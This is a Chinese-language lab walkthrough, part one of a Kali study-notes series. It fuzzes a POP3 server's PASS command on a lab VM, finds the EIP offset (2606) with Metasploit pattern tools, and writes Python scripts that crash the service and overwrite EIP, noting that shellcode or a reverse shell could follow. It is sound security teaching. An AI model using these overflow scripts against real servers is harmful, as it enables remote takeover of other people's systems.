1. 程式人生 > >Kali學習筆記21:緩衝區溢位實驗(上)

Kali學習筆記21:緩衝區溢位實驗(上)

上一篇文章,我已經做好了緩衝區溢位實驗的準備工作:

下面就是Kali虛擬機器對緩衝區溢位的測試:

 已經知道目標IP為:192.168.163.130

連線目標機器110埠成功,接下來進行測試

事先已經知道PASS命令存在緩衝區溢位漏洞:

只要在PASS後邊輸入的資料達到某一個值時,就會出現緩衝區溢位漏洞

但是,手動嘗試這個值實在有點低端,寫一個Python指令碼:

 先寫一個基本的指令碼來測試:

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print
"\nSending evil buffer..." s.connect(('192.168.163.130', 110)) data = s.recv(1024) print data s.send('USER test' + '\r\n') data = s.recv(1024) print data s.send('PASS test\r\n') data = s.recv(1024) print data s.close() print '\nDone' except: print 'Can not connect to POP3
'

使用指令碼:

如果指令碼是從windows移過來的:

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

測試:OK

完善指令碼:

#!/usr/bin/python
import socket

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter += 200

for string in buffer:
    print "FUZZING PASS WITH %s BYTES
" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.163.130', 110)) s.recv(1024) s.send('USER test' + '\r\n') s.recv(1024) s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close()

測試:OK

我們傳送這麼多的資料來測試,那麼問題來了,要怎麼判斷目標機器到底有沒有緩衝區溢位?

這時候就需要上一篇提到的ImmunityDebugger了:

先得到程序的PID:

記住這個PID,開啟ImmunityDebugger,file選單選擇attach

然後找到剛才的PID選擇即可:

預設的暫停狀態,點選開始按鈕來繼續:

開啟Kali虛擬機器開始傳送:

果然,傳送到2900的時候停下來了:

我們看看windows機器:

觀察暫存器:

注意這裡的暫存器顯示:41414141,根據Ascii碼錶,得出是AAAA

這裡重點注意EIP:系統下一步要執行指令的記憶體地址

而這裡下一條指令全部都是A,沒有正確的執行程式碼,所以現在程式已經崩潰了

再看看下邊的記憶體資訊:全部都是A

我們可以把指令碼的A改成其他字元繼續測試,發現都是到3000左右程式崩潰

到這裡我們想到:是否可以通過這個漏洞來做一些事情?

OK,我們可以通過指令碼測試得到確切的溢位值,然後修改EIP暫存器存放下一條指令的地址

可以新增一些後門程式,如果是Shellcode就可以進一步控制目標機器

下一個目標: 找出精確的溢位到EIP暫存器的位元組,進而可以修改程式執行軌跡

我們進一步來寫一個指令碼:

#!/usr/bin/python
import socket

buffer = 'A' * 2700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

傳送過去程式崩潰了,說明2700大了,那麼需要調小一些,

改成2600試試:發現程式崩潰了,但是EIP並不是A,所以想要利用需要比2600大

到這裡就知道了,最終資料應該是2600-2700之間

不過,具體該怎麼精確地跳轉呢?

二分法:不必多說

唯一字串法:生成2700個字元,每四個一組,每一組字串唯一,傳送唯一字串,精確定位

唯一字串指令碼比較複雜,但不需要自己寫,Kali虛擬機器裡面就有:metasploit-framework一個ruby指令碼

使用方式: ./pattern_create.rb -l 2700

我們使用這2700個字元地唯一字串來修改上邊地指令碼,把“A”*2700換成這個字串

檢視暫存器:

發現唯一字串對應地址(16進位制)是:39 69 44 38

由於記憶體地址,讀取要倒過來:38 44 69 39

對應字元是:8 D i 9

那麼怎樣知道對應第幾位呢?

metasploit-framework一個ruby指令碼可以解決:

使用:

或者這樣:

得出是在第2606個位置

既然得到了是在第2606個位置:

就可以繼續修改這個指令碼了:測試能否恰好是BBBB

#!/usr/bin/python
import socket

buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

果然:

 

檢視42對應的就是B

那麼

假設,在ESP中,不是20個C,而是Shellcode或者是惡意程式碼(反向連線等等)

就可以實現遠端控制的目的

具體如何精確修改而實現對目標機器的控制呢?

下一篇隨筆具體介紹